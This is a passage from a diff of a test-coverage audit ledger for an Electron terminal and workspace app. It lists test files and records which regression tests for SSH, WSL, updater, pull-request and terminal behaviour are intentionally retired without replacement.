src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts, src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts, src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts, src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts, src/renderer/src/web/web-runtime-connection-auth-framing.test.ts, src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts, tests/e2e/claude-agent-row-view.unit.test.ts, tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts, tests/e2e/paired-instant-browser-tab.spec.ts, tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts, tests/e2e/structured-agent-session-launch-admission.unit.test.ts, tests/e2e/structured-attention-prompt-relay.unit.test.ts, tests/e2e/structured-attention-read-retirement.unit.test.ts, tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts, tests/e2e/structured-session-workspace-authority.unit.test.ts, tests/e2e/terminal-agent-pane-launch.unit.test.ts, tests/e2e/terminal-parked-memory.spec.ts, tests/e2e/terminal-shortcuts.spec.ts, tests/e2e/terminal-split-activation-latency.spec.ts, tests/e2e/terminal-split-activation-latency-phases.ts, tests/e2e/terminal-split-activation-latency-main-probe.ts, tests/e2e/terminal-split-activation-latency-artifact.ts, tests/e2e/terminal-split-activation-latency-report.ts, tests/e2e/terminal-tab-switch-visual-restore.spec.ts, tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit2095 current-parent preparation2126 (approved2092/2093 removals; source refresh2109/independent2112): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts: rejects exact terminal stop for multiple expected PTYs before stopping anything; omits stale renderer leaves when fresh PTY liveness is required; omits unbound renderer placeholders when fresh PTY liveness is required; captures the event method before the nested sleep receipt changes it; returns the close receipt without requiring a PTY stop; uses the same stop result as an empty explicit stop. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts: builds a compact worktree summary from persisted and live runtime state; reads the linked-PR state from the renderer repoId-keyed GitHub cache; carries persisted worktree host ownership in mobile summaries; emits only instance- and boundary-validated lineage parents in mobile summaries; resolves WSL platforms only for repos represented in mobile summaries; omits worktrees hidden by the host visibility policy from mobile summaries; applies linked-checkout source visibility to mobile summaries. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts: routes runtime GitHub PR details and actions through the selected WSL project runtime; passes SSH connection context through hosted review creation flows; routes local WSL project hosted review flows through runtime git options; treats SSH worktree drift as unknown without local git probes. src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts: emits one mobile session terminal tab per live PTY even if two tabs resolve to it; resolves projected split authority from the parent layout PTY binding; keeps explicit-id terminal lists from resolving all worktrees; keeps explicit-id cold-cache terminal lists from classifying unrelated same-repo worktrees; keeps unknown bare terminal-list ids on the no-scan exact-id path; matches explicit-id cwd PTYs for folder workspace instance IDs; routes PTY output through the PTY leaf index in large terminal graphs. src/main/runtime/orca-runtime-tests/window-authority.spec.ts: claims the first window as authoritative and ignores later windows; transfers authority from the headless sentinel to the first real window; relays terminal browser launches only while headless owns the graph; marks live headless PTYs for renderer reattach before desktop promotion; reports the activation gate state while no desktop window is available; bumps the epoch and enters reloading when the authoritative window reloads; can mark the graph ready for the authoritative window; drops back to unavailable and clears authority when the window disappears; hands the graph back to headless when a promoted serve window closes (#27292); keeps a crashed promoted serve renderer on its own window while the window is open; stays unavailable during initial loads before a graph is published. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts: stops paged routing when the check is cancelled; keeps an unfiltered redrive unrestricted when reservations merge; keeps an unfiltered parked delivery unrestricted when reservations merge; uses a bounded indexed pane lookup for reminted Dispatch identity. src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts: removes the reported wedged automation workspace without --force; clears PTY state once a failed stop is proven to have exited; names only the PTYs that are actually live, not every failed stop; warns with the specific sweep failure, not the generic deadline; still fails closed on a sweep-level failure without force. src/main/skills/bundled-skill-install/layouts.test.ts: links into a project only where its agent folder already exists; reads a pending cloud transaction as busy and a cloud receipt as another skill. src/main/skills/skill-upload-session-service.test.ts: joins concurrent disposal callers through exact cleanup completion. src/main/source-control/hosted-review-creation.test.ts: creates the pull request after fresh main-process validation passes; routes local WSL git and GitHub review creation through the selected runtime; creates a pull request on a GitHub Enterprise Server remote (#8312); creates a GitLab merge request after fresh main-process validation passes; creates an Azure DevOps pull request after fresh main-process validation passes; creates a Gitea pull request after fresh main-process validation passes. src/main/source-control/hosted-review-execution-host-routing.test.ts: reads a GitHub review on the SSH host a row names only in executionHostId; reads a GitLab review on the executionHostId host when connectionId names a different one; does not dial this client for a runtime row whose nested target shares a local name; keeps a runtime row with no nested target on this process (self-addressed stamp); keeps a legacy connectionId-only SSH row on its target; does not share a cached answer between two rows at one path on different hosts; creates a Bitbucket review locally for a runtime row rather than dialing its nested target; reports creation eligibility from the executionHostId-only SSH host; resolves the GitHub slug for a repo listing on the row it is asked about; refuses to dial a runtime host from this process; answers with the SSH target for both spellings and local otherwise; reads a runtime stamp on a row in this store as self-addressing, not a second machine. src/main/source-control/hosted-review-inflight-invalidation.test.ts: keeps other hosts, paths and their pending promises isolated. src/main/speech/model-manager.test.ts: requires pinned, internally consistent metadata for every model file; verifies downloaded model file hashes before installation; rejects non-HTTPS model downloads; marks OpenAI transcription models ready only when an API key is configured. src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts: writes to the SFTP namespace path discovered on the same session; uploads the bundle into the SFTP namespace directory; issues no discovery requests when the caller supplies no mapping; ignores a mapping on a Windows host; never resolves on the system-SSH transport; leaves writeBuffer and openFileUploadSession on the shell path; keeps the shell path when discovery is inconclusive; preserves a session-limit channel-open error unchanged. src/main/ssh/connection/ssh-connection-system-transport.test.ts: uses system SSH transport when ProxyUseFdpass is resolved by OpenSSH; allows concurrent exec commands for system SSH with an Orca ControlMaster socket; keeps concurrent exec commands disabled for system SSH without a reusable socket; uses system SSH transport for ProxyCommand targets before ssh2 auth; keeps the original ssh2 reachability error when the system SSH probe fails; reports the system SSH failure when ssh2 cannot negotiate with the host; uses system transport for target or resolved OpenSSH proxy directives; allows an environment override for e2e coverage; ignores stale imported proxy fields when fresh OpenSSH config has no proxy. src/main/ssh/orcad-migration-catalog-client.test.ts: keeps each server project’s execution host, so a nested SSH row is never read as local; reads the server’s folder workspaces and the groups that place them on a host; sends and validates the %s operation; validates an abort result without letting it erase committed state; validates a committed receipt against the requested manifest; rejects malformed stage timestamps and abort envelopes; fails closed for method absence, malformed identity, and invalid pairing; refuses a destination without the capability before sending any migration request; reads method-not-found as the same refusal, not as a lost answer. src/main/ssh/runtime-ssh-access.test.ts: persists intent then claim before connecting and publishes redacted authenticated access; names the saved dependency when dependent state blocks an SSH access link; handles lost link responses without connecting or verifying again; invalidates old transport only after authenticated access is published; rejects changed request tuple after a completed link; rejects provisioning and missing durable generations without connecting; treats a lost successful unlink response as an idempotent no-op; hashes connection identity, not display state or owner; strictly validates ports and request IDs. src/main/startup/cli-launch-redirect.test.ts: detects a launch that received the unpacked CLI entrypoint; ignores normal desktop launches; ignores the entrypoint when it is only the executable itself (argv[0]); applies on Linux too; strips injected Chromium switches before node-mode CLI arguments; keeps user flags after the command and malformed boolean assignments; does not treat a later positional entrypoint path as the launcher; redirects a direct binary launch with no AppImage env at all; strips Chromium switches node mode would reject; preserves desktop-shaped switches after the command; leaves direct serve in-process but redirects its help; treats help as a CLI launch even without a command; treats %s as a CLI launch even without a command; does not treat a value of %s as a CLI early-exit flag; does not treat a serve option value as a help request; does not reinterpret help after the argument terminator; leaves a plain desktop launch alone; skips flag values when looking for the command positional; preserves a project selector in %j; does not apply the command form on macOS or Windows; never redirects an unpackaged build; runs the in-package CLI in Electron node mode with sanitized env; refuses to redirect twice so a dropped ELECTRON_RUN_AS_NODE cannot loop; reports a missing CLI entrypoint instead of booting the desktop app; execs a direct serve into the CLI so it keeps its pid and honours profile and supervise; keeps ORCA_USER_DATA_PATH for a direct serve without --user-data-dir; serves in-process when this runtime cannot exec or the exec fails; never execs the --serve child the CLI itself spawns, or serve on other platforms; surfaces a spawn failure as a non-zero exit; re-execs a direct --serve onto X11 when Electron resolved Wayland; leaves $name alone. src/main/startup/main-process-runtime-launch-activation.test.ts: marks startup settled for the launch record only after the window has loaded and settled; loads SSH targets on a windowless serve before paired clients can connect (#25886); pins the serve listener to loopback only for orcad browser sidecars (sidecar=$sidecar, #31895); saves Codex auth before a headless serve update restart, like the desktop does. src/main/startup/run-electron-vite-dev.test.ts: forwards dev instance identity to electron-vite; prepares userData orca and orca-dev wrappers for dev terminals; consumes the stable-name flag before forwarding args to electron-vite. src/main/updater/releases/updater-prerelease-feed.test.ts: returns the newest stable tag when the user is on an RC and a newer stable exists; returns the newest RC tag when no stable is newer than the current RC; can exclude prerelease tags for stable-channel checks; probes the %s %s platform manifest; returns null for stable-channel checks when only prereleases are newer; returns null when nothing in the feed is newer than the current version; ignores entries with unparseable tags; returns null when the fetch is not ok; returns null when the fetch throws; picks semver-newest across a mixed-order feed; ignores perf-tagged prereleases for regular RC checks; reports no RC update when only perf-tagged prereleases are newer; picks the semver-newest perf-tagged prerelease; matches only literal rc.N.perf prerelease tags for perf checks; reports no perf update instead of falling back to stable or RC tags; returns a bounded fallback candidate after the newest newer tag; returns null when the only newer tag has a manifest but its asset still 404s; requires a known old timestamp for a stable-fallback tag. src/main/updater/updater-events.test.ts: hands the whole downloaded event to artifact capture; publishes manual-install recovery after a %s download; publishes the normal downloaded state for AppImage builds; blocks downloaded-state handling when the packaged marker is unusable; passes the actual updater error into the install-failure handler; keeps manual-install recovery when a later check finds only the installed release; drops the artifact when another version takes over the cycle; ignores a downloaded event for an older target; accepts a matching event when the pending cache target was cleared; drops the artifact when progress reports a different pending version. src/main/updater/updater-linux-package-recovery-actions.test.ts: rejects both actions while no package-install recovery is active; validates the retained package on every invocation; restores recovery after a recheck resolves without a terminal event; restores recovery after a recheck fails; restores recovery when a pinned check resolves to the current version; restores recovery when resolving a pinned check fails; clears recovery for both actions once the package is gone; resolves %s as a result and keeps the card usable instead of rejecting; keeps recovery available after a transient read failure. src/main/updater/updater.check-settlement.test.ts: leaves a dismissed release update on the release source; surfaces net::ERR_FAILED to user-initiated checks with a friendly message; shows checking immediately for a user-initiated check while feed pinning is pending; keeps background checks event-driven before checking-for-update fires. src/main/usage/usage-provider-store-lifecycle.test.ts: persists identities for a whole first scan with one write; skips disabled and fresh matching states; invalidates prior sources on fingerprint changes and reuses them for forced scans. src/main/window/createMainWindow-close-confirmation.test.ts: clears the quit latch when the renderer prevents unload; does not notify the crash recorder when renderer teardown follows a confirmed window close; allows close when Electron reports a crashed webContents; requests confirmation for a hung-but-alive renderer instead of bypassing. src/main/workspaces/catalog/worktree-identity-persistence.test.ts: stores independent metadata for colliding locators on two hosts; projects canonical-only metadata for exactly one host; keeps canonical metadata current for legacy writers on a known owner; removes only the selected legacy-owner metadata when locators collide; keeps the canonical identity stable when the locator changes; leaves other hosts at the old locator when one host renames its folder. src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts: leaves a journaled conversion untouched with the gate closed, %s. src/main/wsl/orcad/wsl-orcad-deploy.test.ts: holds the distro before it deploys and launches, and reports what C5 dials; passes its connect-state read (%s) on as hints; applies the SSH census and downgrade admission to the first deploy; refuses a WSL 1 distro before holding it or touching its files; tells an unregistered distro how to find the installed ones, before holding anything; surfaces an unsupported libc as the SSH host refusal does; starts an already-active slot the distro stop ended, instead of reporting it ready; deploys over an adopted unrecorded orcad under the SSH terminal gate, never a fresh launch; reports the adopted instance once the same version is serving; returns a deferral rather than launching over live terminals; hands a failed first deploy to the fresh-install cleanup before reporting it. src/main/zcode/zcode-v2-plan-credentials.test.ts: prefers migrated credentials over a stale legacy account; keeps legacy support when no personal v2 file exists; honors the upstream personal config override independently of the credential directory; does not borrow credentials from another execution host; preserves the protected Orca key priority even if v2 is corrupt; rejects upstream-invalid selection %j without legacy fallback; accepts a valid optional reasoning level; rejects upstream-invalid rule containers %j without legacy fallback; accepts a valid selected-provider empty personal rule and smart model rule; cannot establish selected credentials from %s rules; leaves encrypted CLI files unchanged across repeated account reads. tests/e2e/automation-terminal-launch.unit.test.ts: launches explicit Chat for %s through the common entry and keeps its actual fallback; does not apply stored Terminal extras to Chat; forwards only complete Chat-consumed values, with no Terminal startup base; refuses an expired admission without minting another launch identity; records the actual chat identity and delegates new workspace setup and provenance. tests/e2e/github-project-provider-columns.unit.test.ts: renders %s through one bounded items request on a named cloud host; preserves zero and complete counters: %j; preserves populated and legacy rows through shared sorting, grouping and cells. tests/e2e/structured-agent-session-launch-continuation.unit.test.ts: carries renderer lifetime through host intent to the real %s provider builders. tests/e2e/terminal-account-restart.unit.test.ts: replaces a tombstoned owner while its persisted pane binding has not yet been cleared; paired restart retains the old owner (host authority: %s). tests/e2e/terminal-hidden-view-parking.spec.ts: does not park excluded tabs; reproduces a static frame byte-for-byte across 25 park/reveal cycles. tests/e2e/terminal-long-table-scroll-restore.spec.ts: reproduces long markdown table artifacts after workspace switch and scroll; keeps narrow wrapped signer markdown table coherent after restore and scroll; keeps real emoji markdown table right edge clean after restore and scroll. tests/e2e/terminal-long-table-fixtures.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-paste-ownership.spec.ts: Windows multiline keyboard paste normalizes terminal newlines with one PTY owner; right-click paste sends clipboard text to the focused terminal exactly once. tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts: uses WebGL by default for ordinary terminal output when available @terminal-rendering-golden. tests/e2e/terminal-windows-shell-paste-ownership.spec.ts: cmd.exe default terminal keyboard paste preserves exact content with one PTY owner; Git Bash default terminal keyboard paste preserves POSIX-shaped content with one PTY owner; WSL terminal keyboard paste preserves Linux shell content with one PTY owner. tests/e2e/workspace-board-lane-virtualization.spec.ts: mounts a window of cards for a large lane and keeps lane indexes; renders later lane indexes after the lane scrolls. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts, src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts, src/main/runtime/orca-runtime-tests/window-authority.spec.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts, src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts, src/main/skills/bundled-skill-install/layouts.test.ts, src/main/skills/skill-upload-session-service.test.ts, src/main/source-control/hosted-review-creation.test.ts, src/main/source-control/hosted-review-execution-host-routing.test.ts, src/main/source-control/hosted-review-inflight-invalidation.test.ts, src/main/speech/model-manager.test.ts, src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts, src/main/ssh/connection/ssh-connection-system-transport.test.ts, src/main/ssh/orcad-migration-catalog-client.test.ts, src/main/ssh/runtime-ssh-access.test.ts, src/main/startup/cli-launch-redirect.test.ts, src/main/startup/main-process-runtime-launch-activation.test.ts, src/main/startup/run-electron-vite-dev.test.ts, src/main/updater/releases/updater-prerelease-feed.test.ts, src/main/updater/updater-events.test.ts, src/main/updater/updater-linux-package-recovery-actions.test.ts, src/main/updater/updater.check-settlement.test.ts, src/main/usage/usage-provider-store-lifecycle.test.ts, src/main/window/createMainWindow-close-confirmation.test.ts, src/main/workspaces/catalog/worktree-identity-persistence.test.ts, src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts, src/main/wsl/orcad/wsl-orcad-deploy.test.ts, src/main/zcode/zcode-v2-plan-credentials.test.ts, tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit1579 removes workflow/manifest/regex/private binary-header and diagnostic metric inventories, fixture selectors, injected forwarding/platform/signature/process examples, unproven overlap and internal churn counters without equivalent replacement coverage. Retains actual Git trust/diffs; filesystem hash/ELF-region/native discovery; child CLI module repair; compiler/lock/publication/rollback and synthetic Electron install/cache ownership; executable shell quoting/exit; controlled notary/timer cleanup; local patched extractor file/AST freshness; real Chromium/WebKit CSP/sandbox/HTTPS image/referrer/link/preservation controls under parsed Android headers. Five unchanged setup-pnpm/VM request-cleanup definitions reviewed and not rerun. GitHub, installer/archive, OS metric, client, native delegate, compressor, builder and Apple boundaries injected or absent where recorded. No actual native PTY, shipped full/native app, real Actions/cache/npm signature authority, downloaded Electron archive, real objdump/linker/native CLI/AppImage, signing/NSIS/notary/upload/updater or live freeze proof.",
@@ -14507,7 +14206,21 @@
         "Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed.",
         "Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed.",
         "Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed.",
-        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired."
+        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired.",
+        "Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands.",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical.",
+        "Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed.",
+        "Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed.",
+        "Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed.",
+        "Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope.",
+        "Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope.",
+        "Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
